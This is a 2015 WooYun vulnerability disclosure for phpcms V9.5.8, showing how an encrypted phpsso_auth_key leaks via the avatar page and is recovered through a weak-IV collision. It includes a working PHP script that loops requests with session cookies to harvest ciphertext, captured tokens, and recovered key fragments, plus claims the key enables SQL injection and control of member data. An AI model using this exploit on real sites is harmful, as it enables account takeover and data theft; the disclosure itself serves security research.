当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(44) 关注此漏洞

缺陷编号: WooYun-2015-91314

漏洞标题: phpcmsV9.5.8 设计缺陷可获取phpsso_auth_key(可用于sql注入等)

相关厂商: phpcms

漏洞作者: roker

提交时间: 2015-01-12 10:37

公开时间: 2015-04-02 10:23

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

14人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-12: 细节已通知厂商并且等待厂商处理中
2015-01-17: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-03-13: 细节向核心白帽子及相关领域专家公开
2015-03-23: 细节向普通白帽子公开
2015-04-02: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

rt

详细说明:

@索马里的海贼

@Map

向前辈致敬。:)

-----------------------------------------------------------------------------------------

回顾前两个漏洞,

http://**.**.**.**/bugs/wooyun-2014-066394

http://**.**.**.**/bugs/wooyun-2010-066138

皆是由于 密钥 的泄露所造成的。 第一个漏洞 直接输出了phpsso_auth_key。第二个则是 输出了加密了的auth_key ,然后根据算法弱IV的缺陷进行了还原。



这次的漏洞则是 泄露了 加密了的phpsso_auth_key。

----------------------------------------------------------------------------------------

/phpcms/modules/member/index.php

code 区域
public function account_manage_avatar() {
$memberinfo = $this->memberinfo;
//初始化phpsso
$phpsso_api_url = $this->_init_phpsso();
$ps_auth_key = pc_base::load_config('system', 'phpsso_auth_key');
$auth_data = $this->client->auth_data(array('uid'=>$this->memberinfo['phpssouid'], 'ps_auth_key'=>$ps_auth_key), '', $ps_auth_key); //传入了 phpsso_auth_key
$upurl = base64_encode($phpsso_api_url.'/index.php?m=phpsso&c=index&a=uploadavatar&auth_data='.$auth_data);
//获取头像数组
$avatar = $this->client->ps_getavatar($this->memberinfo['phpssouid']);

include template('member', 'account_manage_avatar');
}





继续跟到auth_data

/phpcms/modules/member/classes/client.class.php

code 区域
public function auth_data($data) {
$s = $sep = '';
foreach($data as $k => $v) {
if(is_array($v)) {
$s2 = $sep2 = '';
foreach($v as $k2 => $v2) {
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
$sep2 = '&';
}
$s .= $sep.$s2;
} else {
$s .= "$sep$k=".$this->_ps_stripslashes($v);
}
$sep = '&';
}

$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
return $auth_s;
}





将 uid=x&ps_auth_key=phpsso_auth_key 这串数据 加密后 通过模板输出了。

访问 http://localhost/index.php?m=member&c=index&a=account_manage_avatar&t=1

1.jpg



base64解码后

2.png



data=后面的字符串即为

code 区域
uid=x&ps_auth_key=phpsso_auth_key

通过$this->sys_auth所加密后的数据。而在 /phpcms/modules/member/classes/client.class.php 中的sys_auth 其默认key 为 phpsso_auth_key。



我们再找一处 已知明文的用 phpsso_auth_key 这个密钥所加密的数据。由于弱iv可碰撞,我们就可以得到 phpsso_auth_key 的值。



在前台登入时,phpcms会向 api/phpsso.php 发送会员数据 用以支持 单点登录。而这个数据正是由phpsso_auth_key 这个密钥所加密的。



在登入时抓包

1.jpg



code 区域
api.php?op=phpsso&time=1421015883&code=84dfA1QJAgkCUgkCUQZVBgJQUANTCFBQUwIKUlFQWkdRCg8OF0BcVV0FUFxHQ0QHQlgDWgcFQhQNAAQCREFYQEsSDkEABBRNWw9cD1ACBVMAB1cPWgtcVQAC



code 后面的 密文所对应的明文格式为

code 区域
action=synlogin&username=&uid=x&password=&time=time()



time() 就在 我们抓的包里的 time参数所对应的值 ,uid 在我们的会员头像的路径中可以看到

1.jpg





与http://**.**.**.**/bugs/wooyun-2010-066138的原理一样,多登入几次,获取足够的code。

code 区域
<?php

$url = "http://localhost/index.php?m=member&c=index&a=account_manage_avatar&t=1";
$txt = '#"(.*?)&callback#';
$t=strlen($url)-54+83;
$code = array('bc9d','4213','91ed','452c','7499','19c8','d548','e399','84df','f451');

$i=0;
for(;;){

$data = doGet($url);

preg_match_all($txt, $data, $txts);
$txts = substr(base64_decode($txts[1][0]),$t);
if (in_array(substr($txts,0,4), $code)){

die($txts);

}
$i++;
echo $i."--".substr($txts,0,4)."\n";

}

function doGet($url){

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
$header[]= 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, text/html, * '. '/* ';
$header[]= 'Accept-Language: zh-cn ';
$header[]= 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 ';
$header[]= 'Host: localhost';
$header[]= 'Connection: Keep-Alive ';
$header[]= 'Cookie: PHPSESSID=2dl8157fhsorqc8s75m2tos2e7; drcvo_auth=005bAgUDVQJUUwUJAQUCUVYGUwFWAVIGAwYFCVFSVQQFIzBncmY0YyUhY2B2ZQYrYHUlEHBoJ3J3b2ZlcmJ2YWA0IFF2USN7JSJkfHxmNwJxdRQHZGgReWZiAVN9YmZTayUKdFdyAmMqNXRsdWYnKHFhJSp0ZgEDAAJS; drcvo__userid=1752UgdVVgBSCQcHUgMCVQtfVlFYC1oGUl5YAFYCV1RWVA; drcvo__username=b5f1BgQFBlZVVlRWBVIFAF8HVAQCUVQBVQAFWVUHUVhRVgRUAVMH; drcvo__groupid=db1fUwEFUwUICFNRAwEEV1BaVFEBDQBXU1ZQB1IDVgRXUA; drcvo__nickname=758aBwVRCARRBVFUAQBRAgJTBl1VCgwDBVBWVFlZU1IBVFlW';
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HTTPHEADER,$header);
$response = curl_exec($ch);

curl_close($ch);

return $response;

}

?>



需注意的是 User-Agent 和 cookie 不要填错了。

1.png



找到 code为7499开头的

1.jpg



填入poc(注意time 和 uid)

1.jpg



得到 ce8e83e7d1g15d1b01f46d<fa492cdefce8e83e7d157ae10c7ff468a4792cdefce8e83e7d157ae10c7f

分段得

code 区域
ce8e83e7d1g15d1b01f46d<fa492cdef
ce8e83e7d157ae10c7ff468a4792cdef
ce8e83e7d157ae10c7f



中间那个即为 keyd了,接下来就是解密 phpsso_auth_key 了

1.jpg



去掉后四位就是 phpsso_auth_key 了。

拿到phpsso_auth_key 后能做的事情太多了,在api/phpsso.php这个文件里面 我们控制 action的值 就能操作全站的会员数据。

当然 也可以注入。修改cookie并访问。

1.jpg



漏洞证明:

1.jpg



修复方案:

你们更专业

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

2015-01-19:擦。谁给忽略了?太不地道了


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-01-12 10:40 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    1

    大表哥,你又任性了!

  2. 2015-01-12 10:48 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸!)
    1

    mark

  3. 2015-01-12 10:55 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)
    1

    给爷爷跪了

  4. 2015-01-12 10:57 | 泳少 ( 普通白帽子 | Rank:248 漏洞数:82 | ★ 梦想这条路踏上了,跪着也要...)
    1

    目测phpcms又被人开始刷了。

  5. 2015-01-12 11:02 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    1

    这个好给力的样子啊,分析的不错

  6. 2015-01-12 11:06 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    1

    @疯狗 那能加个精华么。。羞射~

  7. 2015-01-12 11:06 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    1

    前排

  8. 2015-01-12 11:50 | vleugel ( 路人 | Rank:6 漏洞数:1 | 无)
    1

    目测忽略

  9. 2015-01-12 17:13 | 酷帥王子 ( 普通白帽子 | Rank:262 漏洞数:71 | 天之屌,人之神!天人合一,乃屌神也!我要...)
    1

    不知道拿到key有什么用处呢

  10. 2015-01-15 16:03 | 冉冉升起 ( 路人 | Rank:14 漏洞数:7 | ...)
    1

    @roker 膜拜!

  11. 2015-01-18 17:43 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    1

    @疯狗 狗哥,这个能补Rank么 -。-

  12. 2015-02-04 18:07 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    0

    @roker rank已补,稍后奖金送到~

  13. 2015-02-04 19:43 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    0

    @疯狗 么么哒~!狗哥我要给你生猴子

  14. 2015-02-07 18:19 | 酷帥王子 ( 普通白帽子 | Rank:262 漏洞数:71 | 天之屌,人之神!天人合一,乃屌神也!我要...)
    0

    经测试0day不能用只有key下没有下划线或者别的符号才能用

登录后才能发表评论,请先 登录